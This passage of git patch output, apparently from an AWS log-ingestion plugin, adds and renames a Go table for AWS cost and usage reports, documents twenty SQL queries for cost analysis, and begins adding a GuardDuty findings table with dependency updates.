`json:"usage_quantity,omitempty"` + BlendedRate *string `json:"blended_rate,omitempty"` + CurrencyCode *string `json:"currency_code,omitempty"` + CostBeforeTax *float64 `json:"cost_before_tax,omitempty"` + Credits *float64 `json:"credits,omitempty"` + TaxAmount *float64 `json:"tax_amount,omitempty"` + TaxType *string `json:"tax_type,omitempty"` + TotalCost *float64 `json:"total_cost,omitempty"` +} diff --git a/tables/cost_and_usage_log_table.go b/tables/cost_and_usage_log_table.go new file mode 100644 index 00000000..92d729a2 --- /dev/null +++ b/tables/cost_and_usage_log_table.go @@ -0,0 +1,104 @@ +package tables + +import ( + "context" + "time" + + "github.com/rs/xid" + "github.com/turbot/pipe-fittings/utils" + "github.com/turbot/tailpipe-plugin-aws/config" + "github.com/turbot/tailpipe-plugin-aws/mappers" + "github.com/turbot/tailpipe-plugin-aws/rows" + "github.com/turbot/tailpipe-plugin-sdk/artifact_source" + "github.com/turbot/tailpipe-plugin-sdk/artifact_source_config" + "github.com/turbot/tailpipe-plugin-sdk/enrichment" + "github.com/turbot/tailpipe-plugin-sdk/parse" + "github.com/turbot/tailpipe-plugin-sdk/row_source" + "github.com/turbot/tailpipe-plugin-sdk/table" + "github.com/turbot/tailpipe-plugin-sdk/types" +) + +// CostAndUsageLogTable - table for CostAndUsageLogs +type CostAndUsageLogTable struct { + // all tables must embed table.TableImpl + table.TableImpl[rows.CostAndUsageLog, *CostAndUsageLogTableConfig, *config.AwsConnection] +} + +func NewCCostAndUsageLogTable() table.Table { + return &CostAndUsageLogTable{} +} + +func (c *CostAndUsageLogTable) Init(ctx context.Context, connectionSchemaProvider table.ConnectionSchemaProvider, req *types.CollectRequest) error { + // call base init + if err := c.TableImpl.Init(ctx, connectionSchemaProvider, req); err != nil { + return err + } + + c.initMapper() + return nil +} + +func (c *CostAndUsageLogTable) initMapper() { + // TODO switch on source + + // if the source is an artifact source, we need a mapper + c.Mapper = mappers.NewCostAndUsageMapper() +} + +// Identifier implements table.Table +func (c *CostAndUsageLogTable) Identifier() string { + return "aws_cost_and_usage_log" +} + +// GetSourceOptions returns any options which should be passed to the given source type +func (c *CostAndUsageLogTable) GetSourceOptions(sourceType string) []row_source.RowSourceOption { + var opts []row_source.RowSourceOption + + switch sourceType { + + // TODO - update to use AwsS3BucketSourceIdentifier (using FileSystemSourceIdentifier for now) + case artifact_source.FileSystemSourceIdentifier: + defaultArtifactConfig := &artifact_source_config.ArtifactSourceConfigBase{ + FileLayout: utils.ToStringPointer("/Users/pskrbasu/s3-logs/(?P\\d{4})(?P\\d{2})(?P\\d{2})/ecsv_10_2024.csv"), + } + opts = append(opts, artifact_source.WithDefaultArtifactSourceConfig(defaultArtifactConfig), artifact_source.WithRowPerLine(), artifact_source.WithSkipHeaderRow()) + + } + + return opts +} + +// GetRowSchema implements table.Table +func (c *CostAndUsageLogTable) GetRowSchema() any { + return rows.CostAndUsageLog{} +} + +func (c *CostAndUsageLogTable) GetConfigSchema() parse.Config { + return &CostAndUsageLogTableConfig{} +} + +// EnrichRow implements table.Table +func (c *CostAndUsageLogTable) EnrichRow(row rows.CostAndUsageLog, sourceEnrichmentFields *enrichment.CommonFields) (rows.CostAndUsageLog, error) { + // initialize the enrichment fields to any fields provided by the source + if sourceEnrichmentFields != nil { + row.CommonFields = *sourceEnrichmentFields + } + + // Record standardization + row.TpID = xid.New().String() + row.TpSourceType = "aws_cost_and_usage_log" + row.TpTimestamp = *row.InvoiceDate + row.TpIngestTimestamp = time.Now() + // if row.PayerAccountName != nil { + // row.TpSourceIP = row.PayerAccountName + // row.TpIps = append(row.TpIps, *row.PayerAccountName) + // } + + // Hive fields + row.TpPartition = "default" // TODO - should be based on the definition in HCL + row.TpIndex = *row.PayerAccountId + // convert to date in format yy-mm-dd + row.TpDate = row.InvoiceDate.Format("2006-01-02") + + return row, nil +} diff --git a/tables/cost_and_usage_log_table_config.go b/tables/cost_and_usage_log_table_config.go new file mode 100644 index 00000000..31fdc549 --- /dev/null +++ b/tables/cost_and_usage_log_table_config.go @@ -0,0 +1,7 @@ +package tables + +type CostAndUsageLogTableConfig struct{} + +func (c *CostAndUsageLogTableConfig) Validate() error { + return nil +} From ebad04aeb6622b66a7aa282c5245743242525e52 Mon Sep 17 00:00:00 2001 From: Puskar Basu Date: Sat, 9 Nov 2024 10:22:52 +0700 Subject: [PATCH 076/180] add docs and rename cost usage log table --- docs/tables/aws_cost_usage_log.md | 368 ++++++++++++++++++ ...d_usage_mapper.go => cost_usage_mapper.go} | 1 + ...ost_and_usage_log.go => cost_usage_log.go} | 0 ...e_log_table.go => cost_usage_log_table.go} | 31 +- 4 files changed, 394 insertions(+), 6 deletions(-) create mode 100644 docs/tables/aws_cost_usage_log.md rename mappers/{cost_and_usage_mapper.go => cost_usage_mapper.go} (97%) rename rows/{cost_and_usage_log.go => cost_usage_log.go} (100%) rename tables/{cost_and_usage_log_table.go => cost_usage_log_table.go} (77%) diff --git a/docs/tables/aws_cost_usage_log.md b/docs/tables/aws_cost_usage_log.md new file mode 100644 index 00000000..132b8bfd --- /dev/null +++ b/docs/tables/aws_cost_usage_log.md @@ -0,0 +1,368 @@ +# AWS Cost and Usage Log + +## 1. Total Monthly Cost by Account +Calculates the total monthly cost across linked AWS accounts to identify which accounts are incurring the most cost. + +```sql +select + linked_account_id, + linked_account_name, + sum(total_cost) as monthly_total_cost +from + aws_cost_and_usage_log +where + tp_date >= date_trunc('month', current_date) +group by + linked_account_id, linked_account_name +order by + monthly_total_cost desc; +``` + +## 2. Top Costly AWS Services +Displays the top AWS services by total cost, helping to identify where the majority of spending occurs. + +```sql +select + product_name, + sum(total_cost) as total_cost +from + aws_cost_and_usage_log +where + tp_date >= date_trunc('month', current_date) +group by + product_name +order by + total_cost desc +limit 10; +``` + +## 3. Daily Cost Trend for the Current Month +Tracks the daily expenditure trend to identify unusual cost spikes. + +```sql +select + tp_date, + sum(total_cost) as daily_total_cost +from + aws_cost_and_usage_log +where + tp_date >= date_trunc('month', current_date) +group by + tp_date +order by + tp_date; +``` + +## 4. Cost Breakdown by Usage Type +Breaks down costs by usage type, providing insights into specific usage patterns that may drive costs. + +```sql +select + usage_type, + sum(total_cost) as total_usage_cost +from + aws_cost_and_usage_log +where + tp_date >= date_trunc('month', current_date) +group by + usage_type +order by + total_usage_cost desc; +``` + +## 5. High-Cost Operations +Lists operations that have incurred the highest costs, which can indicate potential cost optimization areas. + +```sql +select + operation, + sum(total_cost) as total_operation_cost +from + aws_cost_and_usage_log +where + operation is not null + and tp_date >= date_trunc('month', current_date) +group by + operation +order by + total_operation_cost desc +limit 10; +``` + +## 6. Average Daily Cost for the Current Month +Calculates the average daily cost for the current month, providing a baseline for typical daily expenditure. + +```sql +select + avg(total_cost) as average_daily_cost +from + aws_cost_and_usage_log +where + tp_date >= date_trunc('month', current_date); +``` + +## 7. Top Accounts by Usage Quantity +Identifies the accounts with the highest usage quantity, helping to associate high usage with specific accounts. + +```sql +select + linked_account_id, + linked_account_name, + sum(usage_quantity) as total_usage_quantity +from + aws_cost_and_usage_log +where + tp_date >= date_trunc('month', current_date) +group by + linked_account_id, linked_account_name +order by + total_usage_quantity desc +limit 10; +``` + +## 8. High Tax Amount by Product +Displays products with the highest tax amount, useful for identifying tax-heavy services. + +```sql +select + product_name, + sum(tax_amount) as total_tax_amount +from + aws_cost_and_usage_log +where + tax_amount > 0 + and tp_date >= date_trunc('month', current_date) +group by + product_name +order by + total_tax_amount desc; +``` + +## 9. Total Credits by Account +Shows the total credits applied to each account, helping to understand any discounts or rebates. + +```sql +select + linked_account_id, + linked_account_name, + sum(credits) as total_credits +from + aws_cost_and_usage_log +where + tp_date >= date_trunc('month', current_date) +group by + linked_account_id, linked_account_name +order by + total_credits desc; +``` + +## 10. Cost Allocation by Product Code +Provides a cost breakdown by product code, aiding in identifying high-cost products. + +```sql +select + product_code, + sum(total_cost) as total_product_cost +from + aws_cost_and_usage_log +where + tp_date >= date_trunc('month', current_date) +group by + product_code +order by + total_product_cost desc; +``` + +## 11. Highest Cost by Resource Item Description +Identifies the resources or items with the highest cost based on item description to locate costly services or operations. + +```sql +select + item_description, + sum(total_cost) as total_item_cost +from + aws_cost_and_usage_log +where + tp_date >= date_trunc('month', current_date) +group by + item_description +order by + total_item_cost desc +limit 10; +``` + +## 12. Cost Trends by Payer Account +Shows the monthly cost trend for each payer account, useful for tracking cost changes across accounts. + +```sql +select + payer_account_id, + payer_account_name, + date_trunc('month', tp_date) as month, + sum(total_cost) as monthly_cost +from + aws_cost_and_usage_log +group by + payer_account_id, payer_account_name, month +order by + payer_account_id, month; +``` + +## 13. Monthly Tax Amount by Linked Account +Displays the monthly tax amount by linked account, helping to understand tax-related expenses. + +```sql +select + linked_account_id, + linked_account_name, + sum(tax_amount) as monthly_tax_amount +from + aws_cost_and_usage_log +where + tp_date >= date_trunc('month', current_date) +group by + linked_account_id, linked_account_name +order by + monthly_tax_amount desc; +``` + +## 14. Top Billing Periods by Cost +Ranks billing periods by total cost to highlight the periods with the highest spending. + +```sql +select + billing_period_start_date, + billing_period_end_date, + sum(total_cost) as billing_period_total_cost +from + aws_cost_and_usage_log +group by + billing_period_start_date, billing_period_end_date +order by + billing_period_total_cost desc +limit 10; +``` + +## 15. Cost by Currency Code +Groups costs by currency code, which is useful in multi-currency scenarios to monitor costs in different currencies. + +```sql +select + currency_code, + sum(total_cost) as total_currency_cost +from + aws_cost_and_usage_log +where + tp_date >= date_trunc('month', current_date) +group by + currency_code +order by + total_currency_cost desc; +``` + +## 16. Top 10 Product Codes by Usage Quantity +Identifies product codes with the highest usage quantities, offering insights into frequently used services. + +```sql +select + product_code, + sum(usage_quantity) as total_usage_quantity +from + aws_cost_and_usage_log +where + tp_date >= date_trunc('month', current_date) +group by + product_code +order by + total_usage_quantity desc +limit 10; +``` + +## 17. Cost by Seller of Record +Breaks down costs by seller to understand charges from specific sellers of AWS products. + +```sql +select + seller_of_record, + sum(total_cost) as total_seller_cost +from + aws_cost_and_usage_log +where + tp_date >= date_trunc('month', current_date) +group by + seller_of_record +order by + total_seller_cost desc; +``` + +## 18. High Blended Rate Products +Lists products with a high blended rate, helping to identify products with significant effective rates. + +```sql +select + product_name, + avg(blended_rate) as average_blended_rate +from + aws_cost_and_usage_log +where + blended_rate is not null + and tp_date >= date_trunc('month', current_date) +group by + product_name +order by + average_blended_rate desc +limit 10; +``` + +## 19. Invoices with Highest Cost Before Tax +Displays invoices with the highest cost before tax, useful for analyzing specific large charges. + +```sql +select + invoice_id, + sum(cost_before_tax) as total_cost_before_tax +from + aws_cost_and_usage_log +where + tp_date >= date_trunc('month', current_date) +group by + invoice_id +order by + total_cost_before_tax desc +limit 10; +``` + +## 20. Monthly Cost Change Percentage by Product +Calculates the month-over-month cost change percentage for each product, providing insights into spending increases or decreases. + +```sql +with monthly_costs as ( + select + product_name, + date_trunc('month', tp_date) as month, + sum(total_cost) as monthly_cost + from + aws_cost_and_usage_log + group by + product_name, month +), +monthly_changes as ( + select + product_name, + month, + monthly_cost, + lag(monthly_cost) over (partition by product_name order by month) as previous_month_cost + from + monthly_costs +) +select + product_name, + month, + (monthly_cost - previous_month_cost) / previous_month_cost * 100 as cost_change_percentage +from + monthly_changes +where + previous_month_cost is not null +order by + product_name, month; +``` \ No newline at end of file diff --git a/mappers/cost_and_usage_mapper.go b/mappers/cost_usage_mapper.go similarity index 97% rename from mappers/cost_and_usage_mapper.go rename to mappers/cost_usage_mapper.go index 1cb2f3a9..b1ea16f8 100644 --- a/mappers/cost_and_usage_mapper.go +++ b/mappers/cost_usage_mapper.go @@ -43,6 +43,7 @@ func (c *CostAndUsageLogMapper) Map(_ context.Context, a any) ([]rows.CostAndUsa var logs []rows.CostAndUsageLog for _, row := range records { // TODO - find a better way of doing this parsing + // this works for now, since the csv columns are fixed and ordered slog.Debug("<< row", "...", row) log := rows.CostAndUsageLog{ InvoiceID: &row[0], diff --git a/rows/cost_and_usage_log.go b/rows/cost_usage_log.go similarity index 100% rename from rows/cost_and_usage_log.go rename to rows/cost_usage_log.go diff --git a/tables/cost_and_usage_log_table.go b/tables/cost_usage_log_table.go similarity index 77% rename from tables/cost_and_usage_log_table.go rename to tables/cost_usage_log_table.go index 92d729a2..c3160e0f 100644 --- a/tables/cost_and_usage_log_table.go +++ b/tables/cost_usage_log_table.go @@ -47,7 +47,7 @@ func (c *CostAndUsageLogTable) initMapper() { // Identifier implements table.Table func (c *CostAndUsageLogTable) Identifier() string { - return "aws_cost_and_usage_log" + return "aws_cost_usage_log" } // GetSourceOptions returns any options which should be passed to the given source type @@ -57,9 +57,10 @@ func (c *CostAndUsageLogTable) GetSourceOptions(sourceType string) []row_source. switch sourceType { // TODO - update to use AwsS3BucketSourceIdentifier (using FileSystemSourceIdentifier for now) + // cost and usage csv reports are stored in S3 case artifact_source.FileSystemSourceIdentifier: defaultArtifactConfig := &artifact_source_config.ArtifactSourceConfigBase{ - FileLayout: utils.ToStringPointer("/Users/pskrbasu/s3-logs/(?P\\d{4})(?P\\d{2})(?P\\d{2})/ecsv_10_2024.csv"), + FileLayout: utils.ToStringPointer("/Users/pskrbasu/s3-logs/(?P\\d{4})(?P\\d{2})(?P\\d{2})"), } opts = append(opts, artifact_source.WithDefaultArtifactSourceConfig(defaultArtifactConfig), artifact_source.WithRowPerLine(), artifact_source.WithSkipHeaderRow()) @@ -87,7 +88,16 @@ func (c *CostAndUsageLogTable) EnrichRow(row rows.CostAndUsageLog, sourceEnrichm // Record standardization row.TpID = xid.New().String() row.TpSourceType = "aws_cost_and_usage_log" - row.TpTimestamp = *row.InvoiceDate + + // we are using the invoice date as the tp_timestamp, but we dont always get the invoice date + // so we use the BillingPeriodStartDate as a fallback + // TODO - should we use the BillingPeriodEndDate instead? + if row.InvoiceDate != nil { + row.TpTimestamp = *row.InvoiceDate + } else { + row.TpTimestamp = *row.BillingPeriodStartDate + } + row.TpIngestTimestamp = time.Now() // if row.PayerAccountName != nil { // row.TpSourceIP = row.PayerAccountName @@ -95,10 +105,19 @@ func (c *CostAndUsageLogTable) EnrichRow(row rows.CostAndUsageLog, sourceEnrichm // } // Hive fields - row.TpPartition = "default" // TODO - should be based on the definition in HCL - row.TpIndex = *row.PayerAccountId + // for some rows we dont get the linked account id, so we use the payer account id as a fallback + // TODO - should we use the payer account id instead? + if row.LinkedAccountId != nil { + row.TpIndex = *row.LinkedAccountId + } else { + row.TpIndex = *row.PayerAccountId + } // convert to date in format yy-mm-dd - row.TpDate = row.InvoiceDate.Format("2006-01-02") + if row.InvoiceDate != nil { + row.TpDate = row.InvoiceDate.Format("2006-01-02") + } else { + row.TpDate = row.BillingPeriodStartDate.Format("2006-01-02") + } return row, nil } From e0ed3b744f7141c1c79a132a60b7a5d7c3303c6d Mon Sep 17 00:00:00 2001 From: Puskar Basu Date: Sat, 9 Nov 2024 11:28:04 +0700 Subject: [PATCH 077/180] update cost usage log table --- tables/cost_usage_log_table.go | 8 ++++++-- 1 file changed, 6 insertions(+), 2 deletions(-) diff --git a/tables/cost_usage_log_table.go b/tables/cost_usage_log_table.go index c3160e0f..43817a96 100644 --- a/tables/cost_usage_log_table.go +++ b/tables/cost_usage_log_table.go @@ -94,8 +94,10 @@ func (c *CostAndUsageLogTable) EnrichRow(row rows.CostAndUsageLog, sourceEnrichm // TODO - should we use the BillingPeriodEndDate instead? if row.InvoiceDate != nil { row.TpTimestamp = *row.InvoiceDate - } else { + } else if row.BillingPeriodStartDate != nil { row.TpTimestamp = *row.BillingPeriodStartDate + } else if row.BillingPeriodEndDate != nil { + row.TpTimestamp = *row.BillingPeriodEndDate } row.TpIngestTimestamp = time.Now() @@ -115,8 +117,10 @@ func (c *CostAndUsageLogTable) EnrichRow(row rows.CostAndUsageLog, sourceEnrichm // convert to date in format yy-mm-dd if row.InvoiceDate != nil { row.TpDate = row.InvoiceDate.Format("2006-01-02") - } else { + } else if row.BillingPeriodStartDate != nil { row.TpDate = row.BillingPeriodStartDate.Format("2006-01-02") + } else if row.BillingPeriodEndDate != nil { + row.TpDate = row.BillingPeriodEndDate.Format("2006-01-02") } return row, nil From f7be9c716539255f578a807ef07ed118667cd480 Mon Sep 17 00:00:00 2001 From: misraved Date: Sat, 9 Nov 2024 12:27:22 +0700 Subject: [PATCH 078/180] Update the develop branch with the new set of queries --- docs/tables/aws_cost_usage_log.md | 121 ++++++++++++++++-------------- tables/cost_usage_log_table.go | 2 +- 2 files changed, 65 insertions(+), 58 deletions(-) diff --git a/docs/tables/aws_cost_usage_log.md b/docs/tables/aws_cost_usage_log.md index 132b8bfd..5358aefa 100644 --- a/docs/tables/aws_cost_usage_log.md +++ b/docs/tables/aws_cost_usage_log.md @@ -9,9 +9,9 @@ select linked_account_name, sum(total_cost) as monthly_total_cost from - aws_cost_and_usage_log + aws_cost_usage_log where - tp_date >= date_trunc('month', current_date) + tp_date >= cast(date_trunc('month', current_date) as varchar) group by linked_account_id, linked_account_name order by @@ -26,9 +26,10 @@ select product_name, sum(total_cost) as total_cost from - aws_cost_and_usage_log + aws_cost_usage_log where - tp_date >= date_trunc('month', current_date) + tp_date >= cast(date_trunc('month', current_date) as varchar) + and product_name != '' group by product_name order by @@ -44,9 +45,9 @@ select tp_date, sum(total_cost) as daily_total_cost from - aws_cost_and_usage_log + aws_cost_usage_log where - tp_date >= date_trunc('month', current_date) + tp_date >= cast(date_trunc('month', current_date) as varchar) group by tp_date order by @@ -61,9 +62,10 @@ select usage_type, sum(total_cost) as total_usage_cost from - aws_cost_and_usage_log + aws_cost_usage_log where - tp_date >= date_trunc('month', current_date) + tp_date >= cast(date_trunc('month', current_date) as varchar) + and usage_type != '' group by usage_type order by @@ -78,10 +80,10 @@ select operation, sum(total_cost) as total_operation_cost from - aws_cost_and_usage_log + aws_cost_usage_log where - operation is not null - and tp_date >= date_trunc('month', current_date) + operation != '' + and tp_date >= cast(date_trunc('month', current_date) as varchar) group by operation order by @@ -96,9 +98,9 @@ Calculates the average daily cost for the current month, providing a baseline fo select avg(total_cost) as average_daily_cost from - aws_cost_and_usage_log + aws_cost_usage_log where - tp_date >= date_trunc('month', current_date); + tp_date >= cast(date_trunc('month', current_date) as varchar); ``` ## 7. Top Accounts by Usage Quantity @@ -110,9 +112,9 @@ select linked_account_name, sum(usage_quantity) as total_usage_quantity from - aws_cost_and_usage_log + aws_cost_usage_log where - tp_date >= date_trunc('month', current_date) + tp_date >= cast(date_trunc('month', current_date) as varchar) group by linked_account_id, linked_account_name order by @@ -128,10 +130,11 @@ select product_name, sum(tax_amount) as total_tax_amount from - aws_cost_and_usage_log + aws_cost_usage_log where tax_amount > 0 - and tp_date >= date_trunc('month', current_date) + and tp_date >= cast(date_trunc('year', current_date) as varchar) + and product_name != '' group by product_name order by @@ -147,16 +150,16 @@ select linked_account_name, sum(credits) as total_credits from - aws_cost_and_usage_log + aws_cost_usage_log where - tp_date >= date_trunc('month', current_date) + tp_date >= cast(date_trunc('month', current_date) as varchar) group by linked_account_id, linked_account_name order by total_credits desc; ``` -## 10. Cost Allocation by Product Code +## 10. Cost Allocation by Product Code (Top 10) Provides a cost breakdown by product code, aiding in identifying high-cost products. ```sql @@ -164,13 +167,15 @@ select product_code, sum(total_cost) as total_product_cost from - aws_cost_and_usage_log + aws_cost_usage_log where - tp_date >= date_trunc('month', current_date) + tp_date >= cast(date_trunc('month', current_date) as varchar) + and product_code != '' group by product_code order by - total_product_cost desc; + total_product_cost desc +limit 10; ``` ## 11. Highest Cost by Resource Item Description @@ -181,9 +186,9 @@ select item_description, sum(total_cost) as total_item_cost from - aws_cost_and_usage_log + aws_cost_usage_log where - tp_date >= date_trunc('month', current_date) + tp_date >= cast(date_trunc('month', current_date) as varchar) group by item_description order by @@ -201,7 +206,7 @@ select date_trunc('month', tp_date) as month, sum(total_cost) as monthly_cost from - aws_cost_and_usage_log + aws_cost_usage_log group by payer_account_id, payer_account_name, month order by @@ -217,9 +222,9 @@ select linked_account_name, sum(tax_amount) as monthly_tax_amount from - aws_cost_and_usage_log + aws_cost_usage_log where - tp_date >= date_trunc('month', current_date) + tp_date >= cast(date_trunc('month', current_date) as varchar) group by linked_account_id, linked_account_name order by @@ -235,7 +240,7 @@ select billing_period_end_date, sum(total_cost) as billing_period_total_cost from - aws_cost_and_usage_log + aws_cost_usage_log group by billing_period_start_date, billing_period_end_date order by @@ -251,9 +256,9 @@ select currency_code, sum(total_cost) as total_currency_cost from - aws_cost_and_usage_log + aws_cost_usage_log where - tp_date >= date_trunc('month', current_date) + tp_date >= cast(date_trunc('month', current_date) as varchar) group by currency_code order by @@ -268,9 +273,9 @@ select product_code, sum(usage_quantity) as total_usage_quantity from - aws_cost_and_usage_log + aws_cost_usage_log where - tp_date >= date_trunc('month', current_date) + tp_date >= cast(date_trunc('month', current_date) as varchar) group by product_code order by @@ -286,9 +291,9 @@ select seller_of_record, sum(total_cost) as total_seller_cost from - aws_cost_and_usage_log + aws_cost_usage_log where - tp_date >= date_trunc('month', current_date) + tp_date >= cast(date_trunc('month', current_date) as varchar) group by seller_of_record order by @@ -303,10 +308,10 @@ select product_name, avg(blended_rate) as average_blended_rate from - aws_cost_and_usage_log + aws_cost_usage_log where blended_rate is not null - and tp_date >= date_trunc('month', current_date) + and tp_date >= cast(date_trunc('month', current_date) as varchar) group by product_name order by @@ -322,9 +327,9 @@ select invoice_id, sum(cost_before_tax) as total_cost_before_tax from - aws_cost_and_usage_log + aws_cost_usage_log where - tp_date >= date_trunc('month', current_date) + tp_date >= cast(date_trunc('month', current_date) as varchar) group by invoice_id order by @@ -337,24 +342,24 @@ Calculates the month-over-month cost change percentage for each product, providi ```sql with monthly_costs as ( - select - product_name, - date_trunc('month', tp_date) as month, - sum(total_cost) as monthly_cost - from - aws_cost_and_usage_log - group by - product_name, month -), -monthly_changes as ( - select - product_name, - month, - monthly_cost, - lag(monthly_cost) over (partition by product_name order by month) as previous_month_cost - from - monthly_costs -) + select + product_name, + date_trunc('month', cast(tp_date as date)) as month, + sum(total_cost) as monthly_cost + from + aws_cost_usage_log + group by + product_name, month + ), + monthly_changes as ( + select + product_name, + month, + monthly_cost, + lag(monthly_cost) over (partition by product_name order by month) as previous_month_cost + from + monthly_costs + ) select product_name, month, @@ -363,6 +368,8 @@ from monthly_changes where previous_month_cost is not null + and product_name != '' + and cost_change_percentage != 0 order by product_name, month; ``` \ No newline at end of file diff --git a/tables/cost_usage_log_table.go b/tables/cost_usage_log_table.go index 43817a96..7624a676 100644 --- a/tables/cost_usage_log_table.go +++ b/tables/cost_usage_log_table.go @@ -60,7 +60,7 @@ func (c *CostAndUsageLogTable) GetSourceOptions(sourceType string) []row_source. // cost and usage csv reports are stored in S3 case artifact_source.FileSystemSourceIdentifier: defaultArtifactConfig := &artifact_source_config.ArtifactSourceConfigBase{ - FileLayout: utils.ToStringPointer("/Users/pskrbasu/s3-logs/(?P\\d{4})(?P\\d{2})(?P\\d{2})"), + FileLayout: utils.ToStringPointer("/Users/vedmisra/billing-info/(?P\\d{4})(?P\\d{2})(?P\\d{2})"), } opts = append(opts, artifact_source.WithDefaultArtifactSourceConfig(defaultArtifactConfig), artifact_source.WithRowPerLine(), artifact_source.WithSkipHeaderRow()) From 4175200dfc6cdc5474760b2ff0aa24d7f864f961 Mon Sep 17 00:00:00 2001 From: Priyanka Chatterjee Date: Tue, 12 Nov 2024 08:09:16 +0700 Subject: [PATCH 079/180] Add table guardduty_finding (#13) --- aws/plugin.go | 1 + go.mod | 9 +- go.sum | 20 +-- mappers/guardduty_mapper.go | 148 ++++++++++++++++++++++ rows/guardduty_finding.go | 68 ++++++++++ tables/guard_duty_finding_table_config.go | 7 + tables/guardduty_finding_table.go | 85 +++++++++++++ 7 files changed, 325 insertions(+), 13 deletions(-) mode change 100644 => 100755 aws/plugin.go create mode 100644 mappers/guardduty_mapper.go create mode 100644 rows/guardduty_finding.go create mode 100644 tables/guard_duty_finding_table_config.go create mode 100644 tables/guardduty_finding_table.go diff --git a/aws/plugin.go b/aws/plugin.go old mode 100644 new mode 100755 index 55e009f9..58659b81 --- a/aws/plugin.go +++ b/aws/plugin.go @@ -31,6 +31,7 @@ func NewPlugin() (_ plugin.TailpipePlugin, err error) { tables.NewElbAccessLogTable, tables.NewS3ServerAccessLogTable, tables.NewLambdaLogTable, + tables.NewGuardDutyFindingTable, tables.NewSecurityHubFindingLogTable, tables.NewWafTrafficLogTable, tables.NewAlbAccessLogTable, diff --git a/go.mod b/go.mod index bd85733e..57033c3d 100644 --- a/go.mod +++ b/go.mod @@ -23,13 +23,13 @@ require ( github.com/apparentlymart/go-cidr v1.1.0 // indirect github.com/apparentlymart/go-textseg/v15 v15.0.0 // indirect github.com/aws/aws-sdk-go v1.44.183 // indirect - github.com/aws/aws-sdk-go-v2 v1.30.3 // indirect + github.com/aws/aws-sdk-go-v2 v1.32.3 // indirect github.com/aws/aws-sdk-go-v2/aws/protocol/eventstream v1.6.3 // indirect github.com/aws/aws-sdk-go-v2/config v1.27.26 // indirect github.com/aws/aws-sdk-go-v2/credentials v1.17.26 // indirect github.com/aws/aws-sdk-go-v2/feature/ec2/imds v1.16.11 // indirect - github.com/aws/aws-sdk-go-v2/internal/configsources v1.3.15 // indirect - github.com/aws/aws-sdk-go-v2/internal/endpoints/v2 v2.6.15 // indirect + github.com/aws/aws-sdk-go-v2/internal/configsources v1.3.22 // indirect + github.com/aws/aws-sdk-go-v2/internal/endpoints/v2 v2.6.22 // indirect github.com/aws/aws-sdk-go-v2/internal/ini v1.8.0 // indirect github.com/aws/aws-sdk-go-v2/internal/v4a v1.3.15 // indirect github.com/aws/aws-sdk-go-v2/service/cloudwatchlogs v1.37.3 // indirect @@ -41,7 +41,7 @@ require ( github.com/aws/aws-sdk-go-v2/service/sso v1.22.3 // indirect github.com/aws/aws-sdk-go-v2/service/ssooidc v1.26.4 // indirect github.com/aws/aws-sdk-go-v2/service/sts v1.30.3 // indirect - github.com/aws/smithy-go v1.20.3 // indirect + github.com/aws/smithy-go v1.22.0 // indirect github.com/bgentry/go-netrc v0.0.0-20140422174119-9fd32a8b3d3d // indirect github.com/bgentry/speakeasy v0.1.0 // indirect github.com/bmatcuk/doublestar v1.3.4 // indirect @@ -179,6 +179,7 @@ require ( ) require ( + github.com/aws/aws-sdk-go-v2/service/guardduty v1.50.1 github.com/google/go-cmp v0.6.0 github.com/hashicorp/hcl/v2 v2.20.1 github.com/rs/xid v1.5.0 diff --git a/go.sum b/go.sum index 6d2d6a7b..337f78b6 100644 --- a/go.sum +++ b/go.sum @@ -214,8 +214,8 @@ github.com/apparentlymart/go-textseg/v15 v15.0.0/go.mod h1:K8XmNZdhEBkdlyDdvbmms github.com/aws/aws-sdk-go v1.44.122/go.mod h1:y4AeaBuwd2Lk+GepC1E9v0qOiTws0MIWAX4oIKwKHZo= github.com/aws/aws-sdk-go v1.44.183 h1:mUk45JZTIMMg9m8GmrbvACCsIOKtKezXRxp06uI5Ahk= github.com/aws/aws-sdk-go v1.44.183/go.mod h1:aVsgQcEevwlmQ7qHE9I3h+dtQgpqhFB+i8Phjh7fkwI= -github.com/aws/aws-sdk-go-v2 v1.30.3 h1:jUeBtG0Ih+ZIFH0F4UkmL9w3cSpaMv9tYYDbzILP8dY= -github.com/aws/aws-sdk-go-v2 v1.30.3/go.mod h1:nIQjQVp5sfpQcTc9mPSr1B0PaWK5ByX9MOoDadSN4lc= +github.com/aws/aws-sdk-go-v2 v1.32.3 h1:T0dRlFBKcdaUPGNtkBSwHZxrtis8CQU17UpNBZYd0wk= +github.com/aws/aws-sdk-go-v2 v1.32.3/go.mod h1:2SK5n0a2karNTv5tbP1SjsX0uhttou00v/HpXKM1ZUo= github.com/aws/aws-sdk-go-v2/aws/protocol/eventstream v1.6.3 h1:tW1/Rkad38LA15X4UQtjXZXNKsCgkshC3EbmcUmghTg= github.com/aws/aws-sdk-go-v2/aws/protocol/eventstream v1.6.3/go.mod h1:UbnqO+zjqk3uIt9yCACHJ9IVNhyhOCnYk8yA19SAWrM= github.com/aws/aws-sdk-go-v2/config v1.27.26 h1:T1kAefbKuNum/AbShMsZEro6eRkeOT8YILfE9wyjAYQ= @@ -224,16 +224,18 @@ github.com/aws/aws-sdk-go-v2/credentials v1.17.26 h1:tsm8g/nJxi8+/7XyJJcP2dLrnK/ github.com/aws/aws-sdk-go-v2/credentials v1.17.26/go.mod h1:3vAM49zkIa3q8WT6o9Ve5Z0vdByDMwmdScO0zvThTgI= github.com/aws/aws-sdk-go-v2/feature/ec2/imds v1.16.11 h1:KreluoV8FZDEtI6Co2xuNk/UqI9iwMrOx/87PBNIKqw= github.com/aws/aws-sdk-go-v2/feature/ec2/imds v1.16.11/go.mod h1:SeSUYBLsMYFoRvHE0Tjvn7kbxaUhl75CJi1sbfhMxkU= -github.com/aws/aws-sdk-go-v2/internal/configsources v1.3.15 h1:SoNJ4RlFEQEbtDcCEt+QG56MY4fm4W8rYirAmq+/DdU= -github.com/aws/aws-sdk-go-v2/internal/configsources v1.3.15/go.mod h1:U9ke74k1n2bf+RIgoX1SXFed1HLs51OgUSs+Ph0KJP8= -github.com/aws/aws-sdk-go-v2/internal/endpoints/v2 v2.6.15 h1:C6WHdGnTDIYETAm5iErQUiVNsclNx9qbJVPIt03B6bI= -github.com/aws/aws-sdk-go-v2/internal/endpoints/v2 v2.6.15/go.mod h1:ZQLZqhcu+JhSrA9/NXRm8SkDvsycE+JkV3WGY41e+IM= +github.com/aws/aws-sdk-go-v2/internal/configsources v1.3.22 h1:Jw50LwEkVjuVzE1NzkhNKkBf9cRN7MtE1F/b2cOKTUM= +github.com/aws/aws-sdk-go-v2/internal/configsources v1.3.22/go.mod 